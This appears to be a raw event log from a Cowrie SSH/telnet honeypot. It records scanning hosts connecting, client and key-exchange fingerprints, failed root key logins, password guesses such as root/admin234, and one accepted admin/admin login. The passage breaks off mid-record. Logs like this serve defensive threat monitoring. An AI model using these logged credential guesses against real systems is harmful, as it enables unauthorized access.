{"eventid":"cowrie.login.failed","username":"root","fingerprint":"27:28:8e:6e:83:49:d3:fb:fd:32:5b:65:39:38:ab:70","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFTva3v2i5srfzX4s/4oSJHDDxEE3RBDvxGfThLz9B5GzTF5rbK/9U/gqGvM2kCTWv1HH1uRTjc7rmyVVLscwESKvI0ZY2/cssPEnwVyxJN77OQcyv2hUuzrhMamFewYLY4pJGU7bOuj08/C2jG850ykC5Fswgdranl3NZnvm/2e1j4h3V9zJRKxda6yljj7r4s3gC2BP5vm2/pEHpLxwlds7oPz0CFLjQDsu1bsKudoVIkwbzehWBdaMeYaStCgle6VyfXB4a7Mz150B4ftTndZHOZX9B5hnvz7dxGabPlMCKEgP67GUrdqYFqxI321PLiZbkaflkXIPlV6G3PiST","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:00:03.055853Z","src_ip":"194.120.230.72","session":"2a911d6304c7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ab:f4:3d:3c:1c:a1:ec:a5:93:dd:dd:6b:20:06:b9:45","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCkgIh6EEvSdeQx+1TdntFWBJO5ze4t0ap+0ZWa9wAonwzV09JYJLL6hIs/MXE4LhV9ieeGPAKKeJfy+UHGqcM463Un63VCSUK0PdG9X7S/YmIRH1YxGlMF2Y6TZMwnipv1dQrTkV2gw31/bNKGqn53DaXlZ/qSLCa9uW9vpd0Veq8TN40Brk2uVn+0qDUu2TNA5TZaHWJMfUNeeUqbeV/cWecTD2rgDw74MXHPfU5Y/zgMA6a88dTbpNYNeVGigLlRKkb+P9boSZjw3RZULQHChF+Plpn7AILPcxXsKtv+3ISEqFlX750vkt4gi7BGENF022XKzh7vwate50mSAfHrK90Frd6XlOJNCp+B0eJzBlvzFp9cFtQs0WdaxMq5/oAsz4ovc0LCMbTmuN58u0FzgHsEh6tm9rJHqzDobCkVIYjI9adPRTuXLlNd2mgEDzAdgYPdZ0zYkx93OACHOpKku/EPln7YYXoXOUJQjdbifMBZMf591sYw9Nk5MI2YAuWjtKA7RKetNHnqxJaDs9XwiJjjwP4WTW5MaEJvTUUVIxrGFsiad+z0OYFrinTUxs5NaY6LQ8PM/mvsADtahHTTxQehovhJDwHfT1sz5HTlMhtOYh/1C0kB08oSQqxHRRBPRGkvLRTZKK+vJ2mp4vaVt/OZ1Zqjpfn9nabtl+iO6Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ab:f4:3d:3c:1c:a1:ec:a5:93:dd:dd:6b:20:06:b9:45","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:00:03.144009Z","src_ip":"194.120.230.72","session":"2a911d6304c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ab:f4:3d:3c:1c:a1:ec:a5:93:dd:dd:6b:20:06:b9:45","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCkgIh6EEvSdeQx+1TdntFWBJO5ze4t0ap+0ZWa9wAonwzV09JYJLL6hIs/MXE4LhV9ieeGPAKKeJfy+UHGqcM463Un63VCSUK0PdG9X7S/YmIRH1YxGlMF2Y6TZMwnipv1dQrTkV2gw31/bNKGqn53DaXlZ/qSLCa9uW9vpd0Veq8TN40Brk2uVn+0qDUu2TNA5TZaHWJMfUNeeUqbeV/cWecTD2rgDw74MXHPfU5Y/zgMA6a88dTbpNYNeVGigLlRKkb+P9boSZjw3RZULQHChF+Plpn7AILPcxXsKtv+3ISEqFlX750vkt4gi7BGENF022XKzh7vwate50mSAfHrK90Frd6XlOJNCp+B0eJzBlvzFp9cFtQs0WdaxMq5/oAsz4ovc0LCMbTmuN58u0FzgHsEh6tm9rJHqzDobCkVIYjI9adPRTuXLlNd2mgEDzAdgYPdZ0zYkx93OACHOpKku/EPln7YYXoXOUJQjdbifMBZMf591sYw9Nk5MI2YAuWjtKA7RKetNHnqxJaDs9XwiJjjwP4WTW5MaEJvTUUVIxrGFsiad+z0OYFrinTUxs5NaY6LQ8PM/mvsADtahHTTxQehovhJDwHfT1sz5HTlMhtOYh/1C0kB08oSQqxHRRBPRGkvLRTZKK+vJ2mp4vaVt/OZ1Zqjpfn9nabtl+iO6Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:00:03.148017Z","src_ip":"194.120.230.72","session":"2a911d6304c7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"10:d9:f7:0c:13:1e:9c:08:54:05:8e:38:37:bb:f3:2c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCunHUVysfzOzF4zsu7j8Wtn1Gmh1LHFec0Wk5vxKtipPzpi+m94i+E+6NR40Lmzd3faRkIbYFsQGRJzjh+AIhRMbWtcHSVc2vpRM1ypi36o/+tc5dfOX8nsI4hiSVksjKfJaVRgwIRK8kSI1dhYlzqe87JBdEisa6ukqsDoW+3zy0JrUclBAE8EPbsW/4QLv1hYSU8Xx8MA28iQ+2WCAkfrSsDusrfNr5zlKPeuCDzF7AJmZ5HwtGgF+bkP+6ibXyCoalPVrlLMoqejXq96SL5ScflKuL8oHxz8Cn1EhXo3MY7fe9ymhQZXFT16Wp5Ha5a/JlV2DMEFWNv0yBhwW4T","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 10:d9:f7:0c:13:1e:9c:08:54:05:8e:38:37:bb:f3:2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:00:03.249882Z","src_ip":"194.120.230.72","session":"2a911d6304c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"10:d9:f7:0c:13:1e:9c:08:54:05:8e:38:37:bb:f3:2c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCunHUVysfzOzF4zsu7j8Wtn1Gmh1LHFec0Wk5vxKtipPzpi+m94i+E+6NR40Lmzd3faRkIbYFsQGRJzjh+AIhRMbWtcHSVc2vpRM1ypi36o/+tc5dfOX8nsI4hiSVksjKfJaVRgwIRK8kSI1dhYlzqe87JBdEisa6ukqsDoW+3zy0JrUclBAE8EPbsW/4QLv1hYSU8Xx8MA28iQ+2WCAkfrSsDusrfNr5zlKPeuCDzF7AJmZ5HwtGgF+bkP+6ibXyCoalPVrlLMoqejXq96SL5ScflKuL8oHxz8Cn1EhXo3MY7fe9ymhQZXFT16Wp5Ha5a/JlV2DMEFWNv0yBhwW4T","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:00:03.253244Z","src_ip":"194.120.230.72","session":"2a911d6304c7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"59:8c:b7:7a:5b:c7:8d:35:c1:c6:78:5a:fc:41:49:55","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC000GyRcxwYee3aAUKzpUtnPFXl6apkchb1QxG+VAkz/R6E6NBo2OqNVp2anTim1ncdHr2mXj9rPE4CaQGbdXkxZPbn67a0IfiZ8TNfpQQI5v1ZDYsnKvVFmQ1ntpaWLnEeT4Cip9T8BioCqFp5Ir/qjnYUJamRaoVUu0NY2s5a/vr/AxgesDLbbZKXeYmhTOogRUbN/S2+N1fdtR9foenTkkMl9SPsEBU4nw5ZYVkV3HDOuczdlVikdIBRjEbMbcB3JEi++OgMcrtInyo1UCSKJB6HFFzMijSbqbq4F+nbhPK82R7pSjGvcFnLYqNWR47AMQ+qgTSI85y6GKUydV4/ai3EI1GG5Ys8/iDr1Yfl+GFNPGuE7+yaqjXOhYrhd3ztTKFAexYtRb7f01Zyd+QCOWWuxIC5O0a3Z948pMK7KR5robnmXKXLxj3cqXcjl+o5hzDsuP3MQEKUeRdB0Gk0oLKeVmAj4a6ah7KMPA/tYa10J/TVqcZJVOuznja38k=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 59:8c:b7:7a:5b:c7:8d:35:c1:c6:78:5a:fc:41:49:55","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:00:03.351763Z","src_ip":"194.120.230.72","session":"2a911d6304c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"59:8c:b7:7a:5b:c7:8d:35:c1:c6:78:5a:fc:41:49:55","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC000GyRcxwYee3aAUKzpUtnPFXl6apkchb1QxG+VAkz/R6E6NBo2OqNVp2anTim1ncdHr2mXj9rPE4CaQGbdXkxZPbn67a0IfiZ8TNfpQQI5v1ZDYsnKvVFmQ1ntpaWLnEeT4Cip9T8BioCqFp5Ir/qjnYUJamRaoVUu0NY2s5a/vr/AxgesDLbbZKXeYmhTOogRUbN/S2+N1fdtR9foenTkkMl9SPsEBU4nw5ZYVkV3HDOuczdlVikdIBRjEbMbcB3JEi++OgMcrtInyo1UCSKJB6HFFzMijSbqbq4F+nbhPK82R7pSjGvcFnLYqNWR47AMQ+qgTSI85y6GKUydV4/ai3EI1GG5Ys8/iDr1Yfl+GFNPGuE7+yaqjXOhYrhd3ztTKFAexYtRb7f01Zyd+QCOWWuxIC5O0a3Z948pMK7KR5robnmXKXLxj3cqXcjl+o5hzDsuP3MQEKUeRdB0Gk0oLKeVmAj4a6ah7KMPA/tYa10J/TVqcZJVOuznja38k=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:00:03.355726Z","src_ip":"194.120.230.72","session":"2a911d6304c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:00:03.452255Z","src_ip":"194.120.230.72","session":"2a911d6304c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"132.148.22.172","src_port":38176,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2bcb6c480dd","protocol":"telnet","message":"New connection: 132.148.22.172:38176 (10.17.0.5:23) [session: b2bcb6c480dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:00:08.546794Z"}
{"eventid":"cowrie.session.closed","duration":30.947442770004272,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:00:39.494106Z","src_ip":"132.148.22.172","session":"b2bcb6c480dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":55870,"dst_ip":"10.17.0.5","dst_port":22,"session":"df085b3f2f2e","protocol":"ssh","message":"New connection: 27.71.230.31:55870 (10.17.0.5:22) [session: df085b3f2f2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:00:40.485260Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:00:40.557152Z","src_ip":"27.71.230.31","session":"df085b3f2f2e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:00:43.634805Z","src_ip":"27.71.230.31","session":"df085b3f2f2e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin234","message":"login attempt [root/admin234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:00:45.996893Z","src_ip":"27.71.230.31","session":"df085b3f2f2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.1","message":"Connection lost after 7.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:00:47.544373Z","src_ip":"27.71.230.31","session":"df085b3f2f2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.226.226","src_port":5156,"dst_ip":"159.203.135.109","dst_port":22,"session":"d36a1c82d9e8","protocol":"ssh","message":"New connection: 34.156.226.226:5156 (159.203.135.109:22) [session: d36a1c82d9e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:01:35.023005Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Fingerprintx-SSH2","message":"Remote SSH version: SSH-2.0-Fingerprintx-SSH2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:01:35.110247Z","src_ip":"34.156.226.226","session":"d36a1c82d9e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.226.226","src_port":5160,"dst_ip":"159.203.135.109","dst_port":22,"session":"8036fe9b99a2","protocol":"ssh","message":"New connection: 34.156.226.226:5160 (159.203.135.109:22) [session: 8036fe9b99a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:01:35.274534Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:01:35.279012Z","src_ip":"34.156.226.226","session":"8036fe9b99a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dde267e50f82fcc16a7e1e7b59b8af71","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256@libssh.org,curve25519-sha256,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256@libssh.org","curve25519-sha256","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: dde267e50f82fcc16a7e1e7b59b8af71","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:01:35.360778Z","src_ip":"34.156.226.226","session":"8036fe9b99a2","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:01:36.635796Z","src_ip":"34.156.226.226","session":"8036fe9b99a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:01:36.719795Z","src_ip":"34.156.226.226","session":"8036fe9b99a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4e066189c3bbeec38c99b1855113733a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 4e066189c3bbeec38c99b1855113733a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:01:36.722833Z","src_ip":"34.156.226.226","session":"d36a1c82d9e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:01:36.913044Z","src_ip":"34.156.226.226","session":"d36a1c82d9e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.54.51","src_port":51640,"dst_ip":"159.203.135.109","dst_port":22,"session":"f257a03d7354","protocol":"ssh","message":"New connection: 34.140.54.51:51640 (159.203.135.109:22) [session: f257a03d7354]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:01:42.265275Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:01:42.349054Z","src_ip":"34.140.54.51","session":"f257a03d7354","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"132.148.22.172","src_port":38968,"dst_ip":"10.17.0.5","dst_port":23,"session":"4194a1e06f4b","protocol":"telnet","message":"New connection: 132.148.22.172:38968 (10.17.0.5:23) [session: 4194a1e06f4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:01:44.471688Z"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":49730,"dst_ip":"159.203.135.109","dst_port":22,"session":"096e0eca4f94","protocol":"ssh","message":"New connection: 27.71.230.31:49730 (159.203.135.109:22) [session: 096e0eca4f94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:02:03.578110Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:02:03.632371Z","src_ip":"27.71.230.31","session":"096e0eca4f94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:02:05.829241Z","src_ip":"27.71.230.31","session":"096e0eca4f94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin234","message":"login attempt [root/admin234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:02:09.681130Z","src_ip":"27.71.230.31","session":"096e0eca4f94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.6","message":"Connection lost after 7.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:02:11.163835Z","src_ip":"27.71.230.31","session":"096e0eca4f94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.657688856124878,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:02:15.129221Z","src_ip":"132.148.22.172","session":"4194a1e06f4b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.79.207.110","src_port":59859,"dst_ip":"10.17.0.5","dst_port":22,"session":"3608dc5782c4","protocol":"ssh","message":"New connection: 45.79.207.110:59859 (10.17.0.5:22) [session: 3608dc5782c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:02:27.726472Z"}
{"eventid":"cowrie.client.version","version":"\u0016\u0003\u0001\u0000u\u0001\u0000\u0000q\u0003\u0003\\x80\\xf6\u007f\\xaf","message":"Remote SSH version: \u0016\u0003\u0001\u0000u\u0001\u0000\u0000q\u0003\u0003\\x80\\xf6\u007f\\xaf","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:02:27.732626Z","src_ip":"45.79.207.110","session":"3608dc5782c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:02:27.741497Z","src_ip":"45.79.207.110","session":"3608dc5782c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":59900,"dst_ip":"10.17.0.5","dst_port":22,"session":"85288c70369f","protocol":"ssh","message":"New connection: 103.82.132.16:59900 (10.17.0.5:22) [session: 85288c70369f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:02:42.553848Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:02:42.558156Z","src_ip":"103.82.132.16","session":"85288c70369f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gc